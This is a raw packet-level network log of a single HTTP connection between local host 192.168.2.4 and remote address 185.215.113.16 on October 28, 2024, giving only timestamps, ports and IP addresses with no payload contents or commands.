Oct 28, 2024 23:47:22.790110111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790136099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790149927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790164948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790199041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.790234089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.790258884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790273905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790334940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790343046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.790426016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790441036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790469885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.790517092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790533066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.790564060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.793406963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.832113028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832134962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832155943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832173109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832191944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832218885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832220078 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.832232952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832241058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.832241058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.832309008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.832309008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844063044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844094992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844111919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844146967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844162941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844177961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844254017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844269037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844285011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844301939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844444036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844444036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844444036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844444036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844444036 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844482899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844518900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844568014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844608068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844623089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844640017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844645977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844645977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844655991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844727993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.844906092 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844929934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844945908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.844994068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845007896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845088959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845104933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845119953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845184088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845225096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845280886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845297098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845367908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845392942 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845433950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845449924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845463991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845510006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845551014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845586061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845634937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845707893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845722914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845737934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845756054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845763922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845772028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.845804930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.845863104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.846115112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.846139908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.846194029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.846210003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.846224070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.846236944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.846236944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.846280098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.906306982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.906327009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.906342030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.906492949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908124924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908140898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908154964 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908251047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908251047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908341885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908387899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908401966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908417940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908444881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908459902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908487082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908544064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908557892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908581018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908598900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908613920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908629894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908658981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908730030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.908966064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.908992052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.909007072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.909014940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.909048080 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.909104109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.909120083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.909133911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.909171104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.950479984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950496912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950512886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950643063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.950803041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950861931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950877905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950974941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.950989962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.951005936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.951035023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.951035023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.951051950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.951065063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.951080084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.951095104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.951201916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.962924957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.962944031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.962960958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.962979078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.962996006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963006020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963028908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963031054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963076115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963113070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963202953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963217020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963232994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963248014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963264942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963283062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963303089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963347912 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963464022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963479996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963495016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963536024 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963609934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963634968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963656902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963690042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963697910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963713884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963751078 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963835955 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.963927031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963943005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.963957071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964024067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964040995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964041948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964057922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964205027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964205027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964205027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964227915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964243889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964301109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964344025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964359999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964376926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964391947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964417934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964417934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964605093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964621067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964637041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964653015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964701891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964701891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.964802980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964828014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964843988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964859962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964876890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.964909077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.965019941 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.976274967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.999058008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.026663065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.026679039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.026695967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.026752949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.028557062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.028573036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.028589010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.028642893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.028642893 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029170036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029194117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029211044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029226065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029242992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029259920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029266119 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029275894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029292107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029308081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029314995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029314995 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029324055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029340029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029400110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029400110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029536963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029565096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029581070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029601097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029689074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029705048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029720068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.029727936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.029752016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069483042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069498062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069514036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069530010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069591045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069591045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069619894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069636106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069650888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069672108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069696903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069752932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069802046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069818020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069866896 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069870949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069886923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069900990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.069946051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.069946051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.081759930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.081775904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.081790924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.081882954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082514048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082530022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082546949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082561970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082576990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082577944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082593918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082609892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082626104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082627058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082627058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082642078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082658052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082674026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082690001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082706928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082709074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082709074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082709074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082724094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082741976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082756996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082796097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082796097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082815886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082830906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082847118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082870960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082885981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.082920074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082920074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.082931042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083220005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083235979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083250999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083276033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083292007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083307028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083349943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083349943 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083370924 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083395004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083422899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083439112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083504915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083530903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083626032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083636045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083652020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083667040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083682060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083698034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083714962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083720922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083720922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.083731890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.083781004 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.126576900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.126600027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.126616955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.126646042 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.126703978 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.146234035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.146255016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.146271944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.146320105 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147344112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147358894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147375107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147391081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147445917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147445917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.147620916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147634983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147659063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147674084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.147690058 CET	80	49740	185.215.113.16	192.168.2.4
